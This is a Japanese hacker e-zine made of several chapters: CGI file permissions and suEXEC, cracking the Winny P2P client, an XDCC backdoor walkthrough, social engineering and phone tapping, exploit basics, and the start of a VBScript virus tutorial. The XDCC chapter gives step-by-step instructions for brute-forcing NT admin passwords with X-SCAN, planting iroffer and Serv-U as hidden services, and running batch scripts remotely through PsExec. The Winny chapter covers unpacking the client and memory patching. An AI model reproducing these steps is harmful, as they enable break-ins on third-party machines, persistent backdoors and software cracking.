作」し、BがXを実行した場合「XはBの権限で動作」します。そして、その先には パーミッションというフィルターがあるためAとBの間のプライバシーを守ること ができます。  ここで「CGIは誰が実行しているの?」という疑問が出てきます。答えは簡単、 Webサーバが実行しています。さらに、「Webサーバは誰が実行したの?誰の権限 で動いているの?」という疑問も出てきます。通常Webサーバは専用ユーザを作成 し、その権限で動かします。少し古い時代だと「nobody」というユーザで動かす のが一般的でしたが、最近では「nobodyがファイルを所有すべきでない」という 考えがあるため、Webサーバ専用のユーザ、例えば「web」や「apache」なんてユ ーザを作成し、その権限で動かしています。  さて、ここでセキュリティー上の問題が出てきたことにお気づきでしょうか。 同じサーバの全てのCGIは、Webサーバを実行した権限で動くため、ある1つのCGI から書き込めるファイルは、他のCGIからでも書き込むことが可能になってしまい ます。これでは、Aが日記を付けるために作ったCGIの生成したデータをBに書き換 えられる可能性が出てきます。この問題を回避するために有名なWebサーバソフト 「Apache」では、「suEXEC」という仕組みが準備されています。 ●suEXEC suEXECとは、私の勝手な予想だと「switch user execute」です。つまりユーザ を切替えて実行するということです。  UNIXにはsetuid/setgidという概念があります。これは前述したパーミッション により設定することができます。setuidとは特定のプログラムに特定のユーザID を対応づけることで、どのユーザが実行しても設定されたユーザの権限で動くよ うにする仕組みです。例えば、ユーザAがプログラムXをsetuidしたとすると、Bが Xを実行した場合でも「XはAの権限で動作」するようになります。このようなset uidされたプログラムを「setuidプログラム」や「suidプログラム」なんて呼んだ りします。有名なsetuidプログラムには「pingコマンド」があり、これはpingコ マンドがrootしか使用することのできないRAW_SOCKET(低レベルソケット)を使 用しているため、それを一般ユーザが使用することができません。この問題を回 避するためにpingコマンドを「rootにsetuid」し、pingコマンドを誰が実行して もroot権限で動作するようにしています。  さて、話を戻します。もう分かったと思いますが、suEXECとはCGIを「そのCGI の所有者の権限で動かす」仕組みです。これにより、Aが設置したCGIはAの権限で 動き、Bが設置したCGIはBの権限で動くため、AはCGIが書き込むログファイルのパ ーミッションを適切に設定しておけば、Bが設置したCGIに書き換えられる問題が 無くなります。これで全ての問題は解決されたと思われるかもしれませんが、も しもAが設置したCGIにセキュリティーホールが存在すると、それを利用してAの権 限が奪われる可能性もあるため、一概にsuEXECが優れているとは言えません。  一応、上記の説明で満足できない方のためにsuEXECの仕組みを説明しておきま す。suEXEC環境に設定されたApacheはCGIを「suexecというWrapperプログラム」 を通して実行します。実は、このsuexecというプログラムがrootにsetuidされて います。Apacheから呼び出されたsuexecは、自分を呼び出したのは正当なユーザ か?実行対象のファイルは実行して問題ないか?等をチェックした後に、実行対 象のCGIと同じユーザ、同じグループの権限に化け(ここにrootが必要)CGIを実 行することで、CGIをその所有者の権限で動かせるようになっています。  長くなりましたが、言いたいことはサーバの環境によって適切な設定が違うと いうことです。例えば、suEXECな環境であれば、実行ファイルは700、書き込む必 要のあるファイルは600で正常に動作させることができますが、そうでない場合は CGIが動作する権限がアクセスできるようにしておかないと動作しません。そして、 完全にWebサーバの権限でCGIが動作しているサーバでは、どう設定しても「ログ ファイルの位置が分かれば」書き換えることが可能です。 ●suEXEC環境でないサーバ 「どーせ無料サーバは全てsuEXECってやつだろ?」 と思うかも知れませんが、そんなことはありません。  自分の経験からするとsuEXECな無料サーバスペースは全体の半分くらいです。 しかし、だからといって余裕で誰もが他人のファイルを書き換えれるようにはな っていません。サーバ側なりにいくつかの方法でセキュリティーを考慮していま す。 例を以下に列挙してみます。 1. 各ユーザのホームディレクトリの位置が分からないようにする 2. サーバ内ディレクトリのファイルリストを取得できないようにする 3. Perlで特定の関数以外を使えないようにする  どれも、完全な対策ではありません。  1は、特徴のあるファイル名をキーワードに全ディレクトリを検索すればターゲ ットを見つけることができるかも知れませんし、2、3は環境変数SCRIPT_FILENAME とCGIのURIから、ターゲットの位置が予想できる場合があるからです。しかし、 これらがいくつか組み合わせてあったり、SCRIPT_FILENAMEが取得でない場合は、 ある程度のセキュリティーが確保されていると言えるでしょう。 ただ、これらの対策方法は正当なユーザの自由すら奪います。 ●対策ヒント  Webサーバの権限でCGIが動作している場合でも、telnetまたはsshでログインで きるならば、CGIをsetuidしておくと、自分の権限で動かせる可能性があります。 ただ、telnetやsshを開放しているサーバは少ないでしょう。 ■0x07.) よく意味が分からないがパーミッションの設定を厳しくしたい それは非常に簡単です。 実行ファイル(CGI) : 755 → 705 → 701 → 700 書き込むファイル : 666 → 606 → 600 読み出すファイル : 444 → 404 → 400 ディレクトリ : 755 → 705 → 701 書き込むディレクトリ : 777 → 707 → 700 と、順に試していき正常に動作しているならば、700、600、701が最適です。  705や606等とグループからのアクセスを拒否できれば、同じグループの別ユー ザからの攻撃を防ぐことができます。  755や666でないと正常に動作しない場合は、攻撃されないことを祈るか、別の サーバを使いましょう。  また、サーバの案内ページやFAQに適切な値が書いてあるところもあります。 ■0x08.) 関連する問題  今回の内容を初めて読んで余裕で分かった人のためにいくつか面白い(?)問 題を出してみます。  解答はありませんで、気になるものがあれば自分で考えてみてください。 1. WindowsサーバのCGIってなんて権限で動いてるの?suEXECなんてあるの? 2. mod_phpから実行されたPHPってApacheが内部で実行しているらしいけど、どう よ? 3. Apacheを実行している権限でCGIが動くのなら、CGIからApacheを停止できる? 4. CGIからsetuidすればCGIを実行した権限を持つsuidプログラムが作成できる? 5. 書き込み可能な他人のディレクトリに勝手にCGIを設置できる? ■0x08.) 最後に  今回[0x05]では、いろいろと面倒な作業をしてきましたが、世の中にはとても 楽に簡単に初心者でも[0x05]のようなことが実行できるCGIがいくつか配布されて います。例えば、Alice P Liddel氏の「Perl Duke Explorer(PDE)」は掲示板荒 しには有名ですし、他人のディレクトリへのファイルアップロード機能の付いた 「Perl Duke Uploader(PDU)」、コマンドラインに慣れている人向けの「telnet .cgi」や私が書いたNRSC等のようにリモートログインしたようにCGIからサーバ内 を探索できるものも存在します。そして、実際にそのこと知っている人も沢山い ます。そのような人達に狙われたときのためにパーミッションのことを少しだけ 分かってほしくて、今回の記事を書きました。  自分でCGIを設置すると、管理者は「CGI選び」「設定/設置」「運営」と多くの 場面でセキュリティーについて考えなければなりません。  安全で快適なコミュニティーを目指してがんばってください '-) (無理だと思ったら信用のできるレンタル掲示板でも使いましょう) x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第3章:趣味と実益のWinny破壊 --- 著者:trinisic x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  この文は自分のサイトのコンテンツを一部改変したものです。オリジナルのほ うが若干詳しく書かれているので、そちらも参考にしてください。 http://www.geocities.jp/geekofnewbie/contents/winny_crack.html  また Winny の動作の解析で何かわかったことがあれば、教えていただければ幸 いです。 ■0x02.) Winnyの解析  winnyをperdrで逆アセンブルする。 C:\Documents and Settings\*****>perdr "C:******\winny.exe" > winny.txt Runtime Error: Unable to read from file  当然失敗したようだ。  Winny.exe はパッカーで圧縮されていることは公知なので別の解析方法が必要 である。  ここで "PE iDentifier" を使用する。"PE iDentifier" はファイルアナライザ ーであり、exe ファイルが何でビルドされているか知ることができる。  "PE iDentifier" を起動して Winny.exe をD&D する。 Information : tElock 0.95 build 1 -> tE!  tElock をGoogle で検索してみると、次のような記述があった。 -------------------- tElock is a PE-File Encryptor/-Compressor which is designed to process most .exe, .dll and .ocx files. It decreases an image's size and protects it against patching, disassembling and unpacking. tElock has been originally made for TMG members only to compress their keygens and protect them a bit against thiefs. Features: - decreases size of most executable files a lot while leaving them executable; - protects your files against dumping/unpacking, patching and disassembling; - optimizes some PE stuff (Alignments, PE-Checksum..); - integrates into shell (context-menu: 'Open with tElock'); - drag'n'drop capabilities (that's the reason why the window stays on top). --------------------  まあ要はファイルを暗号化・圧縮してディスアセンブルやメモリダンプを防ぐ ツールということだ。 また別のページには以下のような記述があった。 -------------------- A utility which compresses a file, encrypting it in the process. It adds a header that automatically expands the file in memory, when it is executed, and then transfers control to that file. Some packers can unpack without starting the packed file. Packers are ""useful"" for trojan authors as they make their work undetectable by anti-virus products. --------------------  また tElock のアンパッキングチュートリアルも見つけた。  調べたところ、Cool Memory Dumper を使えばアンパックできるそうだ。早速ダ ウンロードして使用してみる。コマンドラインから実行。すると LordPe の Dumper Server を先に起動しろとのメッセージが表示される。  なんだそりゃと思いつつ、検索。するとヒットした。 LordPE をダウンロード して、Dumper Server のボタンを押し、Cool Memory Dumper を実行。 Winny が 一瞬起動して…Winny.ex_ファイルが生成!エラーメッセージも出ていないような ので、これでアンパックできた?と期待する。ちなみに Winny.ex_ ファイルは11 MBほどの大きさだ。  これをバイナリエディタで開いてC++で文字列を検索する。やった!ヒットした。 2箇所ほど引っかかる。当然アンパック前はそのような文字列は引っかからない。 逆アセンブラでディスアセンブルしてみても、アンパック前のようにエラーで終 了しない。  こうなればデバッガでのデバッギングも可能かも知れないという期待がよぎる。  OllyDBGを使用してみる。  …がプログラムはパックされていると思われるというダイアログが出てしまっ た。大丈夫だろうか?案の定F9で実行しようとしてもエラーで進まなくなってし まう。まさかまだパックされているのか?もう一度ファイルアナライザーを使っ てみる。 Information : Borland C++ 1999  もうオリジナルファイルではないのか?アンパック後の Winny.exe をダブルク リックしてもエラーで実行できなくなっている。アンパックは完璧ではないようだ。  どうしたものかと思ってまた検索を進めていくと、PE Explorer というツールを 発見した。高機能な exe ファイルエディターで、逆アセンブル機能やリソース書 き換えの機能もある。  これでリソースを修正してみると…アンパック後でも Resource Hacker では不 可能だったアイコンの置き換えができたら一筋縄ではいかないようだ。  tElock のアンパックにはほかのツールもあったのでそれを試してみる。  WKT_tElock_Dumper は tElock 0.95 に対応しているためそれを使ってみる。し かしXPの環境で実行しようとすると、メッセージが表示されて実行できない。「 このプログラムはNT系ではテストされていません」とのこと。しかし自分は9x系 の環境がない。仕方ないので知り合いの人に頼んで代わりにやってもらった。  渡されたファイルをまずはダブルクリックしてみると、やった!!!起動した !!!すげー、感動だよ。Pe iDentifier でスキャンしてみると Entry Point や EP Section などの値が先ほどアンパックしたものとは違う。やった!  ここまでくればもう UP/DOWN の制限のクラックも可能じゃないだろうか。それ はまたの機会にする。  UP/DOWN 数を詐称できるようプログラムを改造したい。ここでスペシャルねこ まんま57号(メモリエディタ)を使用した。  実は使い方がよくわからなかったが、某紙で紹介されていたので記事を読んで 使い方を少し理解できた。  Winny.exe を指定してメモリ検索→比較用メモリを記録して winny の転送数が 変化したら値増加、値減少を押して転送ファイルの数を格納していると思われる メモリアドレスを絞り込んでいく。  するとDL数の値を格納していると思われるメモリアドレスが二つに絞られた。 リアルタイムの変化値も二つとも同じ変化を示しており、それはWinnyのGUI上の 表示数とも一致する。そこで調べたアドレスを用いてコード実行してみる。 013F87E8-05 014974D8-05  Winny 上には転送ファイルの制限が2であるにもかかわらず、DL数が5と表示さ れる(正確には実際の転送数と5が交互に表示される。スペシャルねこまんま57 号の自動更新時のコード実行は1秒おきのようなので、Winnyの転送数チェックが 1秒以下で行われているためと考えられる)。  同様にして最大UL数を格納していると思われるメモリアドレスを検索する。す るとひとつだけヒットした。ここを 013F87BC-10 として実行してみると…  おおっと、何も転送していないのに最大転送数がどちらも16になってしまった。 これはまいったなw  ただ気になるのはコード実行したと同時に転送中のファイルがキーロストによる 切断エラーで転送中断されてしまったことだ。偶然、かもしれないがおそらく違う だろう。1.14がクラックされて47も不正なメモリ書き換え等の対策を行っているか もしれない。  それにWinny起動時にいちいちスペシャルねこまんま57号を起動してコードを 実行させるのは面倒なのでパッチを当てねばならない。パッチというものは作成 したことがないのでまたいずれ調べてみる。  メモリからの解析は難しそうなので、今度は実行ファイルのバイナリを調べて みる。何かわかるかもしれない。  ファイルの末尾のほうに、なにやら関数名らしきものが連続している。  とりあえず、ダウンロードに関係ありそうな関数名を探してみる。  DropDownCount のあとには2という文字が続いている。  2 は無転送時の Winny の最大ダウンロード数(だよね?)なのでちょっと怪し い。とりあえずここを 6 などいじってみる。何箇所かあったので、すべて書き換 えてみた。ほかにも、s: 0 t: 0 / 0 0 なんていかにも怪しい部分があり、そこ も(ほんとに)適当に改造。これでどうだ〜と思いつつ、Winny 起動。ダウンロ ードを試みてみる。  すると…UL 数は 0 のまま、4DLs できている。これって書き換えなければあり えなかったことだろうか?よくわからない。  一応転送はキーロストによる切断エラーで切れないまま続いた。ただ、コネク ション数限界エラーでは切断され(当然だけど)、その後はファイル探索中のま まになってしまい、結局ファイルが見つからなかったら DL 数あげても意味ない 気がしてきた。 ■0x03.) 余談  某 IRC でも Winny の解析が行われていた。  そこでの目的は tElock のマニュアルアンパッキングであった(解析者はみな マニュアルアンパッキングの技術を習得すべきらしい)。即座に、とはいかなく とも成功した方もいるようである。つまり、公開はされていないものの改造版の Winny を使用しているユーザーの存在は十分考えられる。Winny が b6.6 から更 新が途絶えていることも考えると、Winny 崩壊の日も近いのかもしれない。  これからの warez はどうなるのか。それは誰にもわからない。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第4章:XDCC hack --- 著者:npyu x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) XDCC  XDCCとは、IRCのロボットクライアントのことを指します。このIRCロボットは 主に、warezやmp3を配布する時などに利用します。XDCCを走らせているコンピュ ータは、IRCチャネルでattackerによってリモートからハックされる脆弱性があり ます。バックドアにより、attackerにリモートコンピュータからAdministrator権 限でIRCマシンにアクセスすることを許します。  ターゲットOSは、Windows NT/2000(XP?)です。  XDCC のバックドアは知る限りでは、ポート880上にセットアップされています。 ●接続インタフェース ----- telnet xxx.xxx.xxx.xxx 880 Trying xxx.xxx.xxx.xxx... Connected to xxx.xxx.xxx.xxx. Escape character is '^]'. 220-Apache Web Server. 220-******************************************************** 220- Welcome to ===> a XDCC! 220-******************************************************** 220- Server Statistics: 220- 220- [ Your Ip xxx.xxx.xxx.xxx ] 220- [ Total Users: 3 total ][ Online Users: 1 ] 220- [ Downloaded: 0 kb ][ Uploaded: 0 kb ] 220- [ Average bandwith: 0.000 kb/sec ] 220- [ Current bandwith: 0.000 kb/sec ] 220- [ Free Space: 8009.39 mb ] 220- [ Uptime: 0 Days, 2 Hours, 28 Mins ] 220- 220-******************************************************** 220- Have a Nice Day! 220 ******************************************************** -----  ログイン後、helpでどのようなコマンドか使えるのか調べるこどができます。 特にシステムのシェルインターフェースが使える訳ではなさそうですが、いろい ろ試してみるのもいいでしょう。 ■0x02.) 他所様のマシンに自分勝手にIRCロボットをインストールさせる方法  まずはPasswordに脆弱性のあるNT系OSを、片っ端からX-SCANで走査します。運 良くカモをみつけたのなら、以下にあるファイルを全てUPしてheheheな感じです。 おおまかな段取りはこれで終わりです。  では健闘を祈ります。 ●X-SCAN(http://www.xfocus.org/)  attackerはX-SCANを使い、脆弱性のあるNTパスワードを持つマシンを広い範囲 で走査します。 1:X-SCANを起動させて、まず上のconfigをクリックしてください。 2:scan parameterを選んでください。 3:NT-SERVER usernameとNT-SERVER passwordを変更します。それぞれ.\dat\co mmon_user.dicと.\dat\common_pass.dicに変更します。理由はデフォルトのnt辞 書ファイルが薄っぺらだからです。 4:x-scanディレクトリにあるdatファイルを開いてください。そこにcommon_us er(辞書ファイル)がありますからエディタで開いてからadministratorを追加し てください。 5:あらかじめ強力な辞書ファイルを持っているのならそれを使うのも良いでし ょう。プロキシの設定もできますので、匿名串はしっかり噛ましておくほうがま だ無難ですよ。  リポートの出力は以下のようになります。 ----- [NT-Server-Password] Administrator/[Blank password] Account type: Administrator Last logon: GMT Sat Sep 20 17:24:43 2003 Bad password count: 0 Number logons: 0 USER ID: 0x000001f4, GROUP ID: 0x00000201 -----  OK、unameとpassが分かったら早速IE起動させてアドレス欄に "\\xxx.xxx.xxx.xxx"(ターゲットIP)と打ち込みます。unameとpassを求められる のでついさっき得たものを入力します。  もし成功したのなら犠牲者のc:¥winntフォルダが見えるはずです。  次に、ターゲットコンピュータのC:\WINNT\SYSTEM32ディレクトリに以下のファ イルをアップロードします。 ●IROFFER( http://www.iroffer.org/)  IrOfferは、指定のIRCチャネルのファイルサーバとして機能するIRCロボットで す。Irofferはconfigファイルとcygwin1.dllを必要としますのでそれらのファイ ルをUPしましょう。 ●SERV-U(http://www.serv-u.com/)  SERV-UのFTPデーモンは非常に強力なFTPサーバーです。このプログラムはコン ピュータ上に、ftpのバックドアをインストールするために使われます。 BugSlayerUtil.dll libeay32.dll Serv-U.cnt Serv-U.GID ServUCert.crt ServUCert.key ServUDaemon.exe ServUDaemon.ini Serv-UID.old ServUPerfCount.dll ssleay32.dll TzoLibr.dll  これらのファイルを全てアップします。  あと、iroffer.exeとServuDaemon.exeはリネームしたほうがいいです。 ●SECURE.BAT  このバッチファイルはただIPC $ と C$ thourgh Z$ share を削除するだけです。 Windowsが再開されるまで、これはコンピュータに効果を与えるでしょう。これら のシェアリングを取り去る理由は、他人にそれと同じことをさせないためにです。 ●INST.BAT  ファイルをあらかじめ仕込んだ後で、firedaemonへコマンドを渡す時に使われ ます。 ●FIREDAEMON(http://www.firedaemon.com/)  Firedaemonはサービスとしてプログラムをインストールします。そして、マシ ンが再起動する次のとき、プログラムが開始されることを保証するでしょう。at tackerは犠牲者のコンピュータ上にバックドアをインストールすることができま す。Firedaemonは犠牲者マシンにプログラムをシステムサービスとしてインスト ールします。 ●PSEXEC(http://www.sysinternals.com/ntw2k/freeware/psexec.shtml/)  次に、仕込んだバッチファイルを実行させます。  psexecを実行して、そしてそれにインストールバッチファイルをリモートのコ ンピュータ上で、走らせるように命令させます。 psexec \\xxx.xxx.xxx.xxx C:\WINNT\SYTEM32\INST.BAT psexec -u "Username" \\xxx.xxx.xxx.xxx c:\WINNT\SYTEM32\SECURE.BAT  このようにしてコマンドを入力してください。  あとはやりたい放題です。 ■0x03.) INST.BATとSECURE.BAT ----- INST.BAT { @echo off SET MXHOME=c:\winnt\system32 SET MXBIN=c:\winnt\system32 c:\winnt\system32\firedaemon -i iroff "c:\winnt\system32" "c:\winnt\system32\iroffer.exe" "xdcc.config" Y 0 0 0 Y c:\winnt\system32\firedaemon -i servu "c:\winnt\system32" "c:\winnt\system32\svchost1.exe" "" Y 0 0 0 Y c:\winnt\system32\firedaemon -i secur "c:\winnt\system32" "c:\winnt\system32\secur.exe" "" Y 0 0 0 Y net start iroff net start servu net start secur } ----- ----- SECURE.BAT { @echo off net share /delete C$ /y >> net.deld net share /delete D$ /y >> net.deld net share /delete E$ /y >> net.deld net share /delete F$ /y >> net.deld net share /delete G$ /y >> net.deld net share /delete H$ /y >> net.deld net share /delete I$ /y >> net.deld net share /delete J$ /y >> net.deld net share /delete K$ /y >> net.deld net share /delete L$ /y >> net.deld net share /delete N$ /y >> net.deld net share /delete O$ /y >> net.deld net share /delete P$ /y >> net.deld net share /delete Q$ /y >> net.deld net share /delete R$ /y >> net.deld net share /delete S$ /y >> net.deld net share /delete T$ /y >> net.deld net share /delete U$ /y >> net.deld net share /delete V$ /y >> net.deld net share /delete W$ /y >> net.deld net share /delete X$ /y >> net.deld net share /delete Y$ /y >> net.deld net share /delete Z$ /y >> net.deld net share /delete ADMIN$ >> net.deld net share /delete IPC$ >> net.deld } ----- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第5章:ソーシャルエンジニアリングとターゲッティング --- 著者:D x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) ターゲッティングと調査 ソーシャルエンジニアリングを行う人間は行うにあたって、様々な調べ物をする 必要がある。 行き当たりばったりで直接的な行動を起こすと後で痛い目にあう ためです。  では、調べるとしたら何を見るのか?最近の世の中はインターネットという便 利なものがあるためにそこから調べる場合が少ないとは言い切れません。 ■0x02.) Whois  例えば、JPNICのWhoisの悪用です。目標としているサーバのドメイ ンを調べて固定でふられているIPアドレスを割り出すのはもちろんですが、そ の会社の担当者を割り出すことも可能な場合があるためです。担当者の割り出し が完了した後は連絡先の確認です。Whois検索で部署が記載されてはいます が、電話番号として正しいものが乗っているとも限りません。 ■0x03.) ホームページ  では、それを調べるとして有効な手段を考えた場合、目標としている会社のホ ームページ(以下HP)を参照する行為があります。  HPには組織図を公開している会社も多く、その中にはご丁寧に電話番号を掲 載しているところもあり、それをもとに情報の正確性を確かめることが出来ます。  また、部署の連絡先は分からなくても受付の電話番号は記載していますので、 そこから「○○部の××様をお願いします」と伝えると繋いでもらえたり、正し い連絡先を教えてもらえたり出来ます。  このような自体を対処するには以下のことが考えられます。 1.組織図には電話番号を載せない。 2.受付にかかってきた問合せの電話は折り返しにさせてもらう。 3.怪しい電話は録音しておく。 というのが、適当であるかと思います。 ■0x04.) 盗聴  電話というのは便利なもので相手とだけの秘密の話が出来たりします。  しかし、それを盗聴する人間もいます。  手口としてはIPUSIRONさんのHPである「セキュリティアカデメイア」のセキュ リティ講座−特別講座<盗聴編>を見ていただければ分かりやすいです。では、 仕掛ける場所としてのMDFとは何か?MDFとは電柱からビルに引き込むための配線 盤のことです。ここから各フロアに分配されて、MDFから各フロアで受け、各部屋 に配線を送るための配線盤として設けてあるものをIDFといいます。MDFの設置し てある場所は大体そのビルの1階か地下フロアにあります。IDFはMDFを設置して ある場所からそのまま上に上がったところや、階段の踊り場などにあったり、壁 についている何かを収容していそうな鉄の扉があったらそれがIDFというのが多い です。また、珍しい例としてビルの共用部(廊下、階段つまり、部屋の外)以外 にテナント内に作られている場合もあります。電話の盗聴器をこのMDFやIDFに仕 掛けることが手口としては想定されます。  こういった手口を防ぐ手段としてはMDF、IDFには必ず鍵をかけることです。自 社ビルであれば総務部に行って、鍵を閉めるように通達してください。間借りを しているビルであれば、オーナーに危険だから鍵を閉めるように伝えてください。  余談ですが、上記にあるテナント内にIDFが設けられている場合、特に気をつけ て欲しいのは電話などの工事業者と偽って中に入り、様々なものを盗んでいく人 間がいますので気をつけてください。 業者が工事で入る場合には対象となる現 場があります。現場を確認し、そこを借りている人間又はビルのオーナーに確認 することがトラブルを防ぐ原因になります。 ■0x05.) 機器の脆弱性を研究するには  機器の脆弱性を知りたい場合、様々な資料を読んだり調べたりするのは攻撃を 仕掛ける人間として当たり前の行動です。  しかし、それでは得られない説明書などには出来るとかいてある事項が実は仕 様によりうまく動作しないなどの情報も仕入れることもやる人間はいます。  なかなか入手しづらく高価な機器をどのように検証を行い、情報を見つけるか ?手段の一つとして、機器を取り扱っている販売店及び代理店の営業マンを呼ぶ という方法です。営業マンは機器を売りたくてしょうがないのです。「売上に繋 がるかもしれない」という心理が動くので、「ちょっとこの機器が欲しいのです が…」というだけで、頼みもしないのに機器仕様や使い方を何枚にもわたる提案 書にして持ってきます。そして、それには書いていない「こんな使い方は出来ま せんか?」という話を出すと「わかりました!技術の人間(SE)を連れてきま す!!」と意気揚揚と引き上げて、次回は技術のことなら何でも答えてくれる人 を連れてきてくれます。これで情報収集が出来ます。  また、自分で実機を触ってみたいなぁと思った場合。営業マンに「検証してみ たい事項があるので、1週間だけ貸し出しをお願いできないか?」と問い合わせる と「はい!喜んで!!(居酒屋か?)」と機器を貸し出してくれます。たまに機器 だけでいいのにご丁寧に最上級の回線まで整った検証設備のある部屋まで貸して くれたりします。ここまで揃ってしまえば様々な実験をして機器をソフトウェア 的に壊してしまってもまず怒られないでしょうし、責任を取って買ってくれとも 言われません。そう考えると自分の対象ネットワークをイメージした体系のもの を作成し、それに向かって攻撃し放題の落とし放題。機器の脆弱性を調べる人間 はここまでやるでしょう。  対策としては……無いのかな?  攻撃を考える人間が悪いというのは一般的な発想ですが、攻撃をされるような 隙を作る人間が悪いとも取れるわけで、それを除くと誰が悪いわけでもないです しね。まあ、引っ掛かった営業マンが悪いのかな?  じゃあ、営業マンに一言。 「買いそうも無い客くらい見抜いてくれ。」  これからの社会は小・中学生でも軽いクラックならやってしまうものです。ネ ットワークのセキュリティを図るのはとても重要だとは思いますが、機器だけに 頼るのはとても危険です。攻撃の的にならないように十分に情報管理を行い、メ リットのあるインターネットの利用を常に考えてください。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第6章:学校や会社での雑談ぐらいにしか使えないexploitの知識 --- 著者:barussa x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  皆さん、こんにちは。barussaです。今回は学校や会社での雑談ぐらいにしか使 えないようなexploitの知識について説明していきたいと思います。 ■0x02.) exploitとは  exploitの読み方は「エクスプロイト」と呼びます。ちなみに、自分は「エグプ ロット」と今まで呼んでいました(汗。  セキュリティ・ホールを攻撃するための小さなプログラム、もしくはセキュリ ティ・ホールを実証するためのプログラムを「exploit code」(略して「exploit」) と呼びます。両者はまったく正反対の性格を持ちますが、セキュリティ・ホール を実証するために公開されたプログラムを改変することで、簡単にセキュリティ ・ホールを悪用するためのプログラムが作れるようになるため、両者は表裏一体 の関係と言えます。  exploitは、OSの種類、サーバプログラミングの種類やバージョンに依存します。 ■0x03.) exploit作成以前  exploitは、プログラミングの知識があり、アセンブリ言語を読むことが出来る 者であれば、作成することはそれほど難しいことではありません。ただし、これ は必要条件であり、十分条件ではありません。もちろん、セキュリティやセキュ リティ・ホールを突くアタックの原理を知っておく必要があります。  例えば、UNIXなどのOSでは、プログラム(サーバプログラムを含む)が異常終 了した場合、コアダンプ(coredump)ファイルを作成されます。この現象をコア ダンプと呼びます。exploitを作成する場合、このコアダンプファイルが大きな意 味を持っています。コアダンプファイルは、メモリの上のイメージがそのままフ ァイル化されたものなので、アドレス情報はもちろんのことアプリケーション本 体(機械語)まで解読できてしまいます。最近の不正侵入の手口として、バッフ ァオーバーフローを利用した攻撃が増えてきていますが、このバッファオーバー フロー攻撃の多くが、コアダンプファイルを解析して得られた情報に基づいて攻 撃用のexploitが作成されます。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第7章:VBScript入門 〜コンピュータウイルスを作るのは難しいのか?〜 --- 著者:Kenji Aiko x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  最近良く世間を騒がすコンピュータウイルスだがそれらを作っている人はいっ たいどれだけのスキルを持っているのだろうか。ウィザードクラスのハッカーな のか、それともかなりの腕前を持つ熟練プログラマなのか。もちろんウイルスに もいろいろあるから一概にどうだとは言えないが、そもそもそれなりのスキルが 無いとウイルスは作れないのか?答えはNoだ。  実はウイルスは結構簡単に作れたりするものなのだ。ここではHomepageウイル スを例に取るがVBScriptで書かれているならばどのウイルスも基本的には変わら ない。レジストリを書き換えウイルス自身を様々なフォルダにコピーし、そして メールでばら撒くという処理しか行っていない。  では実際どういったソースコードなのか。それを見ていきたいと思う。話の流 れとしてはまずVBScriptの基本的はことを学びそしてHomepageの解読へ進むとい う風にしたいと思う。一応プログラムを学んだことの無い人を対象にしているが JavaScriptなどを知っていた方がより理解しやすいかと思う。 ■0x02.) VBScriptとは  Netscape CommunicationsのJavaScriptに対して、MicrosoftがMicrosoft Offi ceなどで採用していたVisual Basic for Application(VBA)に基づいたスクリプト 言語を作った。それがVBScriptであり正確にはVisual Basic Script Editionとい う。らしいですが、要するにMicrosoft製のJavaScript(Javaじゃないですよ)みた いなものです。JavaScriptとの違いはほとんどありませんがVBScriptというくら いですからVB(Visual Basic)に似た文法で書くことができます。あとJavaScriptは どのブラウザでも動作しますがVBScriptはMicrosoft Internet Explorerでしか動 作しません。 ■0x03.) HelloWorld!  では実際に書いてみます。テキストエディタに ----- ----- というプログラムを書いて"test.html"というファイル名で(まぁファイル名はな んでも良いのですが)保存してダブルクリックします。見事ブラウザ(IE)に"Hell 